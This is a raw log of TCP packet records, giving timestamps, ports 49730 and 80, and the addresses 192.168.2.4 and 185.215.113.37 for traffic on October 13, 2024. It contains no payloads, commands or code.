Oct 13, 2024 06:54:16.509500027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509500027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509500027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509500980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509500980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509500980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509511948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509521961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509538889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509540081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509563923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509577990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509593010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509604931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509618044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509648085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509661913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509668112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509668112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509668112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509668112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509668112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509668112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509676933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509691000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509717941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509730101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509752035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509774923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509784937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509784937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509784937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509784937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509784937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509784937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509788036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509784937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509803057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509816885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509824991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509839058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509852886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509879112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509893894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509907007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509932041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509932041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509932041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509932041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509932041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509938002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509958029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.509965897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509982109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.509994030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510006905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510020971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510034084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510056973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510071039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510086060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510117054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510117054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510117054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510117054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510117054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510154963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510159016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510174036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510195971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510210037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510224104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510246038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510263920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510277987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510277987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510277987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510277987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510284901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510302067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510318041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510422945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510436058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510437012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510437012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510458946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510473967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510488033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510510921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510534048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510557890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510581970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510590076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510590076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510590076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510590076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510590076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510590076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510607004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510612011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510632038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510647058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510659933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510674000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510694981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510710001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510731936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510745049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510746002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510746002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510746002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510746002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510746002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510746002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510761023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510777950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510792017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510812998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510828018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510840893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510854006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.510900974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510900974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510901928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510901928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510901928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.510901928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511334896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511358976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511373043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511398077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511411905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511411905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511421919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511424065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511451006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511473894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511521101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511538982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511554003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511576891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511599064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511615992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511639118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511639118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511639118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511639118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511657953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511660099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511660099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511673927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511693954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511708021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511723042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511735916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511749983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.511800051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511800051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511801004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511801004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511801004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.511801004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.512747049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.512804031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.512831926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.512846947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.512861967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.512876034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.512890100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.512932062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.512932062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.512932062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.512958050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.596955061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.596971989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.596987963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597033024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597048998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597063065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597079992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597094059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597100973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597100973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597172022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597172976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597522020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597537994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597553968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597599030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597613096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597635031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597651005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597666025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597680092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597727060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597727060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597727060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597743034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597770929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597775936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597786903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597795963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597819090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597831011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597831011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597835064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.597858906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.597870111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.598088026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.598103046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.598118067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.598131895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.598145962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.598181963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.598181963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.598181963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.598181963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635183096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635206938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635230064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635245085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635260105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635286093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635286093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635298967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635314941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635355949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635355949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635437965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635462999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635509014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635530949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635545969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635560036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635574102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635600090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635600090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635600090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635600090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635600090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635600090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635653019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635867119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635890007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635905027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635920048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635941029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635953903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635953903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635953903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635956049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635967970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635972977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.635993958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.635993958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636009932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636182070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636198997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636213064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636234999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636249065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636261940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636276007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636292934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636303902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636303902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636303902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636307001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636303902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636303902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636303902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636322975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636326075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636337996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636341095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636362076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636377096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636404991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636419058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636420012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636420012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636420012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636420012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636420012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636442900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636459112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636459112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636466980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636482954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636487961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636497974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636518002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636518002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636523008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636538029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636538982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636559010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636573076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636590004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636610985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636635065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636650085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636657000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636657000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636657953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636657953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636657953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636657953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636666059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636677980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636683941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636696100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636698961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636714935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636729002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636743069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636750937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636750937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636750937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636766911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636775017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636775017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636792898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636814117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636814117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636816978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636832952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636843920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636848927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636863947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636864901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.636879921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.636879921 CEST	80	49730	185.215.113.37	192.168.2.4
